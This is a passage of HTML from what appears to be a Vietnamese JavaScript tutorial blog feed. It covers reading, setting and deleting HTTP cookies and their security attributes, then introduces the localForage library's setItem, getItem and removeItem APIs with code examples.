foo=bar1</span> document<span class="token punctuation">.</span>cookie <span class="token operator">=</span> <span class="token string">"foo=bar2; max-age=3600"</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>document<span class="token punctuation">.</span>cookie<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// => foo=bar2</span></code></pre></div> <h3 id="đọc-giá-trị-của-cookie" style="position:relative;"><a href="#%C4%91%E1%BB%8Dc-gi%C3%A1-tr%E1%BB%8B-c%E1%BB%A7a-cookie" aria-label="đọc giá trị của cookie permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Đọc giá trị của cookie</h3> <p>Để đọc giá trị của cookie, bạn sẽ lấy ra giá trị của <em>document.cookie</em>.</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">const</span> cookies <span class="token operator">=</span> document<span class="token punctuation">.</span>cookie<span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>cookies<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// => 'foo1=bar1; foo2=bar2; foo3=bar3'</span></code></pre></div> <p>Giá trị trả về sẽ là một đoạn string chứa tất cả các cookies. Với các cặp cookie có dạng <strong>key=value</strong> được phân cách nhau bởi một dấu chấm phẩy và một dấu cách theo sau (trừ cặp cuối cùng). Khi đó, để lấy ra giá trị tương ứng với một cookie cụ thể, bạn chỉ cần duyệt string trên để lấy ra giá trị của nó.</p> <h3 id="xoá-một-cookie" style="position:relative;"><a href="#xo%C3%A1-m%E1%BB%99t-cookie" aria-label="xoá một cookie permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Xoá một Cookie</h3> <p>Để xoá một cookie, bạn cũng sử dụng cú pháp phần cập nhật cookie bên trên. Với <strong>key</strong> là tên của cookie bạn muốn xoá và <strong>value</strong> bạn bỏ trống, cùng với giá trị của <strong>expires</strong> là một thời điểm trong quá khứ. Ví dụ:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js">document<span class="token punctuation">.</span>cookie <span class="token operator">=</span> <span class="token string">"foo=; expires=Wed, 27 Feb 2019 07:41:28 GMT;"</span><span class="token punctuation">;</span></code></pre></div> <h2 id="thao-tác-với-cookie-từ-server" style="position:relative;"><a href="#thao-t%C3%A1c-v%E1%BB%9Bi-cookie-t%E1%BB%AB-server" aria-label="thao tác với cookie từ server permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Thao tác với Cookie từ Server</h2> <p>Bên trên, mình đã tìm hiểu về việc thao tác với HTTP Cookie phía client sử dụng JavaScript. Phần này, mình sẽ tìm hiểu cơ bản về cách làm việc với cookie từ phía server.</p> <p>Khi server nhận được một <a href="/xmlhttprequest-tao-http-request-den-server-trong-javascript/">HTTP request</a> từ client, response trả về sẽ sử dụng header <strong>Set-Cookie</strong> để xác định những cookie được trình duyệt lưu lại, với cấu trúc đơn giản:</p> <div class="gatsby-highlight" data-language="text"><pre class="language-text"><code class="language-text">HTTP/2.0 200 OK Content-type: text/html Set-Cookie: foo1=bar1 Set-Cookie: foo2=bar2 [page content]</code></pre></div> <p>Và sau đó, với mỗi request đến server, trình duyệt sẽ sử dụng header <strong>Cookie</strong> để gửi lại các cookies lên server:</p> <div class="gatsby-highlight" data-language="text"><pre class="language-text"><code class="language-text">GET /sample.html HTTP/2.0 Host: www.example.org Cookie: foo1=bar1; foo2=bar2</code></pre></div> <p>Dĩ nhiên, bạn không cần phải làm việc trực tiếp với cấu trúc này. Vì mỗi ngôn ngữ lập trình đều có API riêng giúp bạn thao tác với cookies một cách đơn giản, ví dụ: <a href="https://secure.php.net/manual/en/function.setcookie.php">PHP</a>, <a href="https://nodejs.org/dist/latest-v8.x/docs/api/http.html#http_response_setheader_name_value">Node.JS</a>, <a href="https://docs.python.org/3/library/http.cookies.html">Python</a>, <a href="https://api.rubyonrails.org/classes/ActionDispatch/Cookies.html">Ruby on Rails</a>.</p> <p>Ngoài ra, bạn cũng có thể cài đặt thêm các thuộc tính <strong>Expires</strong>, <strong>Max-Age</strong>, <strong>Domain</strong> và <strong>Path</strong> tương tự như mình đã trình bày bên trên. Và một vài các thuộc tính khác giúp cho việc sử dụng HTTP Cookie an toàn hơn, đó là:</p> <ul> <li><strong>Secure</strong>: sử dụng tham số này thì đảm bảo cookie chỉ được phép gửi thông qua giao thức HTTPS mà không được gửi qua HTTP.</li> <li><strong>HttpOnly</strong>: tham số này làm cho cookie chỉ có thể được truy cập, sửa đổi từ phía server mà không thể thao tác với cookie thông qua <em>document.cookie</em>.</li> <li><strong>SameSite</strong>: tham số này cho phép server yêu cầu cookies không được gửi thông qua <em>cross-site requests</em>. Tuy nhiên, tính năng này vẫn đang được thử nghiệm và chưa được support rộng rãi.</li> </ul> <h2 id="kiểm-tra-giá-trị-của-cookie-trên-trình-duyệt" style="position:relative;"><a href="#ki%E1%BB%83m-tra-gi%C3%A1-tr%E1%BB%8B-c%E1%BB%A7a-cookie-tr%C3%AAn-tr%C3%ACnh-duy%E1%BB%87t" aria-label="kiểm tra giá trị của cookie trên trình duyệt permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Kiểm tra giá trị của cookie trên trình duyệt</h2> <p>Để kiểm tra giá trị của cookie trên trình duyệt, bạn có thể sử dụng thông qua Console của DevTools (được mở bằng cách nhấn <em>F12</em> hoặc tổ hợp <em>Ctrl Shift I</em>). Tại console, bạn gõ lệnh <code>document.cookie</code>, khi đó kết quả thu được là:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js">document<span class="token punctuation">.</span>cookie<span class="token punctuation">;</span> <span class="token comment">// => "foo1=bar1; foo2=bar2"</span></code></pre></div> <p>Hoặc cũng trong DevTools, bạn vào tab <em>Application -> Storage -> Cookies</em>. Khi đó, thông tin chi tiết về các cookies sẽ được hiển thị.</p> <h2 id="lời-kết" style="position:relative;"><a href="#l%E1%BB%9Di-k%E1%BA%BFt" aria-label="lời kết permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Lời kết</h2> <p>Trên đây là những kiến thức cơ bản về HTTP Cookie. Hy vọng bạn có thể hiểu được về cookie và cách sử dụng nó phía client và server. Nếu có gì thắc mắc hay góp ý, bạn vui lòng để lại trong phần bình luận phía dưới. Mình sẽ cố gắng giải đáp.</p> <p>Xin chào và hẹn gặp lại, thân ái!</p> <p>Tham khảo:</p> <ul> <li><a href="https://flaviocopes.com/cookies/#restrictions-of-cookies">Learn how HTTP Cookies work</a></li> <li><a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Cookies">HTTP cookies</a></li> <li><a href="https://developer.mozilla.org/en-US/docs/Web/API/Document/cookie">Document.cookie</a></li> <li><a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Overview">An overview of HTTP</a></li> <li><a href="https://www.w3schools.com/js/js_cookies.asp">JavaScript Cookies</a></li> <li><a href="https://www.npmjs.com/package/js-cookie">JavaScript Cookie - npm</a></li> <li><a href="https://www.npmjs.com/package/cookie-session">cookie-session - npm</a></li> </ul>[email protected]<![CDATA[LocalForage: giải pháp hoàn hảo cho IndexedDB]]><![CDATA[IndexedDB là một local database dạng NoSQL cho phép lưu trữ dữ liệu ngay trên trình duyệt. Nó cho phép lưu trữ một lượng dữ liệu lớn với các kiểu dữ liệu khác nhau (bao gồm cả file…]]>https://completejavascript.com/localforage-giai-phap-hoan-hao-indexeddb/https://completejavascript.com/localforage-giai-phap-hoan-hao-indexeddb/<![CDATA[IndexedDB]]><![CDATA[Storage]]>Thu, 24 Aug 2017 22:30:10 GMT<p><a href="/javascript-indexeddb-tai-sao-khong/">IndexedDB</a> là một local database dạng NoSQL cho phép lưu trữ dữ liệu ngay trên trình duyệt. Nó cho phép lưu trữ một lượng dữ liệu lớn với các kiểu dữ liệu khác nhau (bao gồm cả file/blob); hỗ trợ trên nhiều trình duyệt và cung cấp khả năng truy cập nhanh. Qua đó, IndexedDB giúp cho web app có khả năng hoạt động offline một cách mượt mà.</p> <p>Tuy nhiên, IndexedDB lại có nhược điểm lớn là nó chỉ cung cấp API cấp thấp. Khi sử dụng IndexedDB bạn phải quan tâm đến những thứ như: transaction, objectStore, cursor,... và nó còn không hỗ trợ <a href="https://developer.mozilla.org/docs/Web/JavaScript/Reference/Global_Objects/Promise">Promise</a>. Điều này làm cho việc sử dụng IndexedDB trở nên khá khó khăn và phức tạp.</p> <p>May mắn thay, <a href="https://localforage.github.io/localForage">localForage</a> đã ra đời và giúp cho việc sử dụng IndexedDB trở nên đơn giản hơn rất nhiều.</p> <h2 id="localforage-là-gì" style="position:relative;"><a href="#localforage-l%C3%A0-g%C3%AC" aria-label="localforage là gì permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>LocalForage là gì?</h2> <p>LocalForage là một thư viện JavaScript mã nguồn mở, giúp cho việc giao tiếp với database trên trình duyệt (đặc biệt là IndexedDB) trở nên đơn giản hơn và tiện lợi hơn với những đặc điểm:</p> <ul> <li>API gần giống với <a href="https://developer.mozilla.org/en-US/docs/Web/API/Window/localStorage">localStorage</a> bao gồm: <em>setItem()</em>, <em>getItem()</em>, <em>removeItem()</em>, <em>clear()</em> và thêm một số API khác nữa.</li> <li>Hỗ trợ <a href="/tag/es6/">ES6</a> Promise API</li> <li>Hỗ trợ sử dụng IndexedDB và <a href="https://en.wikipedia.org/wiki/Web_SQL_Database">Web SQL</a>. Tuy nhiên, nếu browser không hỗ trợ thì localForage sẽ quay về sử dụng localStorage.</li> <li><a href="https://caniuse.com/#feat=indexeddb">Hỗ trợ trên nhiều trình duyệt khác nhau</a> như: Chrome, Firefox, IE, và Safari (bao gồm cả Safari Mobile).</li> </ul> <h2 id="cài-đặt" style="position:relative;"><a href="#c%C3%A0i-%C4%91%E1%BA%B7t" aria-label="cài đặt permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Cài đặt</h2> <p>Việc cài đặt localForage khá đơn giản. Bạn có thể sử dụng thông qua CDN và chèn thẳng vào HTML như sau:</p> <div class="gatsby-highlight" data-language="html"><pre class="language-html"><code class="language-html"><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>script</span> <span class="token attr-name">src</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>https://unpkg.com/[email protected]/dist/localforage.min.js<span class="token punctuation">"</span></span><span class="token punctuation">></span></span><span class="token script"></span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>script</span><span class="token punctuation">></span></span></code></pre></div> <p>Hoặc tải <a href="https://github.com/mozilla/localForage/releases">phiên bản release mới nhất</a> trên Github về rồi sử dụng luôn:</p> <div class="gatsby-highlight" data-language="html"><pre class="language-html"><code class="language-html"><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>script</span> <span class="token attr-name">src</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>localforage.js<span class="token punctuation">"</span></span><span class="token punctuation">></span></span><span class="token script"></span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>script</span><span class="token punctuation">></span></span> <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>script</span><span class="token punctuation">></span></span><span class="token script"><span class="token language-javascript"> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">"localforage is: "</span><span class="token punctuation">,</span> localforage<span class="token punctuation">)</span><span class="token punctuation">;</span> </span></span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>script</span><span class="token punctuation">></span></span></code></pre></div> <p>mà không cần phải <strong>init</strong> hay chờ các sự kiện như <strong>onready</strong>.</p> <p>Ngoài ra, bạn cũng có thể cài đặt localForage thông qua npm hoặc bower như sau:</p> <div class="gatsby-highlight" data-language="bash"><pre class="language-bash"><code class="language-bash"><span class="token comment"># Cài đặt qua npm:</span> <span class="token function">npm</span> <span class="token function">install</span> localforage <span class="token comment"># Hoặc cài đặt qua bower:</span> bower <span class="token function">install</span> localforage</code></pre></div> <p>Và sử dụng nó với các bundler (như Webpack) bằng cách:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">import</span> localforage <span class="token keyword">from</span> <span class="token string">"localforage"</span><span class="token punctuation">;</span> localforage<span class="token punctuation">.</span><span class="token function">setItem</span><span class="token punctuation">(</span><span class="token string">"key"</span><span class="token punctuation">,</span> <span class="token string">"value"</span><span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <h2 id="cách-sử-dụng-một-số-api-của-localforage" style="position:relative;"><a href="#c%C3%A1ch-s%E1%BB%AD-d%E1%BB%A5ng-m%E1%BB%99t-s%E1%BB%91-api-c%E1%BB%A7a-localforage" aria-label="cách sử dụng một số api của localforage permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Cách sử dụng một số API của localForage</h2> <h3 id="setitem" style="position:relative;"><a href="#setitem" aria-label="setitem permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>setItem()</h3> <p>Như mình đã nói ở trên, với localForage bạn không cần phải cài đặt, init database nên có thể ghi dữ liệu ngay lập tức với phương thức <em>setItem()</em>.</p> <p>Cú pháp:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token comment">// Sử dụng callback</span> localforage<span class="token punctuation">.</span><span class="token function">setItem</span><span class="token punctuation">(</span>key<span class="token punctuation">,</span> value<span class="token punctuation">,</span> successCallback<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// Hoặc sử dụng promise</span> localforage <span class="token punctuation">.</span><span class="token function">setItem</span><span class="token punctuation">(</span>key<span class="token punctuation">,</span> value<span class="token punctuation">)</span> <span class="token punctuation">.</span><span class="token function">then</span><span class="token punctuation">(</span><span class="token keyword">function</span> <span class="token punctuation">(</span><span class="token parameter">value</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token comment">// Xử lý khi việc lưu key-value thành công</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>value<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">)</span> <span class="token punctuation">.</span><span class="token function">catch</span><span class="token punctuation">(</span><span class="token keyword">function</span> <span class="token punctuation">(</span><span class="token parameter">err</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token comment">// Xử lý khi việc lưu key-value bị lỗi</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>err<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <p>Trong đó:</p> <ul> <li><strong>key</strong>: là string, phân biệt hoa-thường và được sử dụng để lấy giá trị ra sau này.</li> <li><strong>value</strong>: là dữ liệu tương ứng với key. Nhưng nếu như localStorage chỉ cho phép lưu value dạng string thì localForage cho phép value với bất kì kiểu dữ liệu nào (<a href="/kieu-du-lieu-trong-javascript/">number, string</a>, <a href="/array-la-gi-array-trong-javascript/">array</a>, <a href="/object-la-gi-object-trong-javascript/">object</a>, <a href="https://developer.mozilla.org/en-US/docs/Web/API/Blob">file/blob</a>).</li> </ul> <p>Ví dụ:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js">localforage <span class="token punctuation">.</span><span class="token function">setItem</span><span class="token punctuation">(</span><span class="token string">"my point"</span><span class="token punctuation">,</span> <span class="token punctuation">{</span> <span class="token literal-property property">x</span><span class="token operator">:</span> <span class="token number">1</span><span class="token punctuation">,</span> <span class="token literal-property property">y</span><span class="token operator">:</span> <span class="token number">2</span> <span class="token punctuation">}</span><span class="token punctuation">)</span> <span class="token punctuation">.</span><span class="token function">then</span><span class="token punctuation">(</span><span class="token keyword">function</span> <span class="token punctuation">(</span><span class="token parameter">value</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>value<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// => {x: 1, y: 2}</span> <span class="token punctuation">}</span><span class="token punctuation">)</span> <span class="token punctuation">.</span><span class="token function">catch</span><span class="token punctuation">(</span><span class="token keyword">function</span> <span class="token punctuation">(</span><span class="token parameter">err</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>err<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <p><strong>Chú ý</strong>: nếu bạn sử dụng <em>setItem()</em> lại một lần nữa với key đã tồn tại thì giá trị của nó sẽ bị ghi đè.</p> <h3 id="getitem" style="position:relative;"><a href="#getitem" aria-label="getitem permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>getItem()</h3> <p>Sau khi sử dụng <em>setItem()</em> để ghi dữ liệu, bạn có thể dùng <em>getItem()</em> để lấy dữ liệu ra, với cú pháp như sau:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token comment">// Sử dụng callback</span> localforage<span class="token punctuation">.</span><span class="token function">getItem</span><span class="token punctuation">(</span>key<span class="token punctuation">,</span> successCallback<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// Hoặc sử dụng promise</span> localforage <span class="token punctuation">.</span><span class="token function">getItem</span><span class="token punctuation">(</span>key<span class="token punctuation">)</span> <span class="token punctuation">.</span><span class="token function">then</span><span class="token punctuation">(</span><span class="token keyword">function</span> <span class="token punctuation">(</span><span class="token parameter">value</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token comment">// Xử lý khi việc lấy giá trị với key thành công</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>value<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">)</span> <span class="token punctuation">.</span><span class="token function">catch</span><span class="token punctuation">(</span><span class="token keyword">function</span> <span class="token punctuation">(</span><span class="token parameter">err</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token comment">// Xử lý khi việc lấy giá trị với key bị lỗi</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>err<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <p>Ví dụ:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js">localforage <span class="token punctuation">.</span><span class="token function">getItem</span><span class="token punctuation">(</span><span class="token string">"my point"</span><span class="token punctuation">)</span> <span class="token punctuation">.</span><span class="token function">then</span><span class="token punctuation">(</span><span class="token keyword">function</span> <span class="token punctuation">(</span><span class="token parameter">value</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>value<span class="token punctuation">.</span>x<span class="token punctuation">,</span> value<span class="token punctuation">.</span>y<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// => 1 2</span> <span class="token punctuation">}</span><span class="token punctuation">)</span> <span class="token punctuation">.</span><span class="token function">catch</span><span class="token punctuation">(</span><span class="token keyword">function</span> <span class="token punctuation">(</span><span class="token parameter">err</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>err<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <p><strong>Chú ý:</strong> nếu bạn sử dụng <em>getItem()</em> với key chưa tồn tại thì promise vẫn trả về trường hợp thành công, nhưng lúc này giá trị của value là <strong>null</strong>.</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js">localforage <span class="token punctuation">.</span><span class="token function">getItem</span><span class="token punctuation">(</span><span class="token string">"her point"</span><span class="token punctuation">)</span> <span class="token punctuation">.</span><span class="token function">then</span><span class="token punctuation">(</span><span class="token keyword">function</span> <span class="token punctuation">(</span><span class="token parameter">value</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>value<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// => null</span> <span class="token punctuation">}</span><span class="token punctuation">)</span> <span class="token punctuation">.</span><span class="token function">catch</span><span class="token punctuation">(</span><span class="token keyword">function</span> <span class="token punctuation">(</span><span class="token parameter">err</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>err<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <h3 id="removeitem" style="position:relative;"><a href="#removeitem" aria-label="removeitem permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>removeItem()</h3> <p>Phương thức này dùng để loại bỏ cặp key-value ra khỏi database.</p> <p>Cú pháp:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token comment">// Sử dụng callback</span> localforage<span class="token punctuation">.</span><span class="token function">removeItem</span><span class="token punctuation">(</span>key<span class="token punctuation">,</span> successCallback<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// Hoặc sử dụng promise</span> localforage <span class="token punctuation">.</span><span class="token function">removeItem</span><span class="token punctuation">(</span>key<span class="token punctuation">)</span> <span class="token punctuation">.</span><span class="token function">then</span><span class="token punctuation">(</span><span class="token keyword">function</span> <span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token comment">// Xử lý khi việc remove thành công</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">"Key is cleared!"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">)</span> <span class="token punctuation">.</span><span class="token function">catch</span><span class="token punctuation">(</span><span class="token keyword">function</span> <span class="token punctuation">(</span><span class="token parameter">err</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token comment">// Xử lý khi việc remove bị lỗi</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>err<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span 